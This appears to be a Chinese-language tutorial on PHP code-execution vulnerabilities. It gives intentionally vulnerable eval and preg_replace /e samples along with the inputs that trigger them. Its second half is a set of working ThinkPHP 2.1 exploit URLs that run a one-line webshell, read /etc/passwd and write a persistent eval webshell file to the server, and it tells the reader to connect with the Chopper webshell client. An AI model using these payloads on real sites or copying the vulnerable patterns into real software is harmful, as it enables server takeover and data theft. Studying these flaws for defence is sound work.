漏洞形成原因:客户端提交的参数,未经任何过滤,传入可以执行代码的函数,造成代码执行漏洞。
常见代码注射函数:
如:eval、preg_replace+/e、assert、call_user_func、call_user_func_array、create_function等函数
漏洞危害:执行代码,写入webshell、控制服务器
代码示例一:
<?php
//?cmd=phpinfo();
@eval($_GET['cmd']);
?>
代码示例二:
<?php
//?cmd=${phpinfo()}
$str=$_GET['cmd'];
eval('$str="'.$str.'";');
?>
php 代码可以这样在双引号中被执行
代码示例三:
<?php
//?cmd=%27);phpinfo();//
$str=$_GET['cmd'];
eval("strtolower('$str');");
?>
代码示例四:preg_replace函数
<?php
preg_replace("/<php>(.*?)<\/php>/e", '\1', "<php>phpinfo()</php>");
//等价于
preg_replace("/<php>(.*?)<\/php>/e", '${1}', "<php>phpinfo()</php>");
?>
参考:
慎用preg_replace危险的/e修饰符(一句话后门常用)
http://www.jb51.net/article/38714.htm
Thinkphp框架任意代码执行漏洞利用
# 一般找CMS相应版本漏洞,如ThinkPHP2.1 * 一句话
http://www.xxx.com/News/detail/id/{${@eval($_POST[aa])}} * 得到当前路径
http://www.xxx.com/News/detail/id/{${print(getcwd()))}} * 读文件
http://www.xxx.com/News/detail/id/{${exit(var_dump(file_get_contents($_POST['f'])))}} POST的数据为:f=/etc/passwd * 写shell http://www.xxx.com/News/detail/id/{${exit(var_dump(file_put_contents($_POST['f'],$_POST[d])))}} POST的数据为:f=1.php&d=<?php @eval($_POST['aa'])?>
直接执行一句话代码,然后用菜刀直接连接
http://site/index.php/module/action/param1/{${eval($_POST[s])}} 一句话密码:s
参考文章:
代码执行漏洞 http://www.jianshu.com/p/3f0cf18adbe7
PHP漏洞全解(详细介绍) http://www.jb51.net/article/31898.htm
PHP代码执行漏洞总结